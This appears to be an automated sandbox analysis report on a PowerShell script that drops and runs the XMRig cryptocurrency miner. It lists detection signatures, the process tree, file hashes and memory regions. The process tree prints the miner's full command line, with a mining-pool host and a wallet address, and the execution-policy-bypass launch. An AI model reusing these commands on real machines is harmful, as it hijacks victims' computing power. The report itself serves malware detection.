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27-05-2024 18:28

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27-05-2024 18:28

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27-05-2024 18:28

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27-05-2024 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    1794s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-05-2024 18:28

General

  • Target

    file01 - copia (4).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 31 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (4).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:832
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3612 --field-trial-handle=2276,i,5697607538120380977,9987005253899555344,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:1428
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3612 --field-trial-handle=2276,i,5697607538120380977,9987005253899555344,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:4988
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
        1⤵
          PID:4468
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k UnistackSvcGroup
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5080

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zmqib1br.qri.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
          Filesize

          9.1MB

          MD5

          205ad9eb6acd6f58752899669b69fe74

          SHA1

          bedb78ac5034259b86c2cbc915de2e861e8d7604

          SHA256

          2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda

          SHA512

          28309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3

        • memory/832-79-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-74-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-52-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-118-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-117-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-116-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-115-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-114-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-113-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-112-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-111-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-47-0x0000012C22320000-0x0000012C22340000-memory.dmp
          Filesize

          128KB

        • memory/832-53-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-54-0x0000012C22380000-0x0000012C223A0000-memory.dmp
          Filesize

          128KB

        • memory/832-55-0x0000012C23C50000-0x0000012C23C70000-memory.dmp
          Filesize

          128KB

        • memory/832-56-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-57-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-59-0x0000012C22380000-0x0000012C223A0000-memory.dmp
          Filesize

          128KB

        • memory/832-60-0x0000012C23C50000-0x0000012C23C70000-memory.dmp
          Filesize

          128KB

        • memory/832-58-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-61-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-62-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-63-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-64-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-65-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-66-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-67-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-68-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-69-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-70-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-71-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-72-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-73-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-81-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-75-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-76-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-77-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-78-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-110-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-108-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-50-0x0000012C22360000-0x0000012C22380000-memory.dmp
          Filesize

          128KB

        • memory/832-82-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-83-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-84-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-85-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-86-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-87-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-88-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-89-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-90-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-91-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-92-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-93-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-94-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-95-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-96-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-97-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-98-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-99-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-100-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-101-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-102-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-103-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-104-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-105-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-106-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-107-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-80-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/832-109-0x00007FF77FED0000-0x00007FF780B03000-memory.dmp
          Filesize

          12.2MB

        • memory/4992-49-0x00007FF971180000-0x00007FF971C41000-memory.dmp
          Filesize

          10.8MB

        • memory/4992-48-0x00007FF971183000-0x00007FF971185000-memory.dmp
          Filesize

          8KB

        • memory/4992-16-0x000001C0FDB80000-0x000001C0FDB8A000-memory.dmp
          Filesize

          40KB

        • memory/4992-15-0x000001C0FDB90000-0x000001C0FDBA2000-memory.dmp
          Filesize

          72KB

        • memory/4992-13-0x00007FF971180000-0x00007FF971C41000-memory.dmp
          Filesize

          10.8MB

        • memory/4992-12-0x00007FF971180000-0x00007FF971C41000-memory.dmp
          Filesize

          10.8MB

        • memory/4992-11-0x00007FF971180000-0x00007FF971C41000-memory.dmp
          Filesize

          10.8MB

        • memory/4992-6-0x000001C0FD800000-0x000001C0FD822000-memory.dmp
          Filesize

          136KB

        • memory/4992-0-0x00007FF971183000-0x00007FF971185000-memory.dmp
          Filesize

          8KB

        • memory/4992-51-0x00007FF971180000-0x00007FF971C41000-memory.dmp
          Filesize

          10.8MB